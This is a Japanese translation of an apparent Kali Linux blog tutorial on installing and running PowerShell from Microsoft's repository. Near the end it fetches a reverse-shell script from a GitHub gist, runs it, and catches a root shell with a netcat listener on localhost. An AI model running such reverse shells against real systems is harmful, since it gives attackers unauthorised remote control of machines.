2019 年 11 月更新
powershell がプライマリ リポジトリに追加されたため、この投稿は 2019 年の時点で古くなっています。次のことを行うだけです:
apt update && apt -y install powershell
そして、システムに PowerShell があります。
古い投稿
外部リポジトリを Kali Linux インストールに安全に追加できることはすでにお気づきかもしれませんが、オンラインで利用可能な多くのリポジトリの 1 つに、PowerShell を含む Microsoft のリポジトリが含まれていることに気付いていないかもしれません。リポジトリは Debian 用ですが、この投稿で示すように、そのパッケージは Kali に完全にインストールされます。
Kali での PowerShell パッケージのインストール
必要な依存関係をインストールすることから始めます。そのほとんどは、デフォルトで Kali インストールに既にインストールされているはずです。
apt update && apt -y install curl gnupg apt-transport-https
次に、公開リポジトリの GPG キーをダウンロードして追加する必要があります。これにより、APT はパッケージを信頼し、パッケージの署名に関する問題を警告します。
curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -
GPG キーを追加したら、Microsoft パッケージ リポジトリを /etc/apt/sources.list.d/ の下の独自のパッケージ リスト ファイルに追加します。 利用可能なパッケージのリストを更新します。
echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main" > /etc/apt/sources.list.d/powershell.list
apt update
最後に、powershell パッケージのインストールに進みます。
apt -y install powershell
PowerShell の実行
パッケージのインストールが完了したら、pwsh を実行します PowerShell が起動し、おなじみの「PS」プロンプトが表示されます。
[email protected]:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
PS /root>
PowerShell を初めて使用する場合、最初に行うことの 1 つは、組み込みのヘルプを更新することです。これは、Update-Help を実行することで実行できます。 コマンドレット。これは完了するまでに少し時間がかかる場合がありますが、まれに実行する必要があるだけです。
PS /root> Update-Help
Updating Help for module Microsoft.PowerShell.Utility
Locating Help Content...
ご想像のとおり、Windows で PowerShell を使用するときに使い慣れたすべてのコマンドが見つかるわけではありませんが、すべてのコア モジュールが存在し、コードは継続的に開発および改善されています。
PS /root> Get-Process -Name gnome*
NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName
------ ----- ----- ------ -- -- -----------
0 0.00 5.71 0.03 1073 072 gnome-keyring-d
0 0.00 9.80 0.19 659 649 gnome-session-b
0 0.00 13.72 0.36 1089 080 gnome-session-b
0 0.00 110.06 3.36 778 649 gnome-shell
0 0.00 277.15 27.85 1170 080 gnome-shell
0 0.00 11.77 0.09 1199 075 gnome-shell-cal
0 0.00 77.79 4.58 1381 080 gnome-software
0 0.00 36.58 2.03 1646 646 gnome-terminal-
できる驚くべきことの 1 つ ただし、PowerShell を使用してリバース シェルを Netcat リスナーに送信します。私たちは小さな PowerShell リバース シェルをオンラインで見つけました。驚いたことに、それは喜んでリスナーに接続されました。
[email protected]:~# pwsh
PowerShell v6.1.0-preview.2
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
PS /root> wget -q https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1
PS /root> ./mini-reverse.ps1
────────────────────────────────────────────────────────────────────────────────
[email protected]:~# nc -lvnp 413
listening on [any] 413 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59006
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux kali 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64 GNU/Linux
Microsoft が PowerShell をオープンソース化しただけでなく、PowerShell が常に更新と改善を行っており、公開パッケージ リポジトリがあることでインストールが簡単になっていることは注目に値すると思います。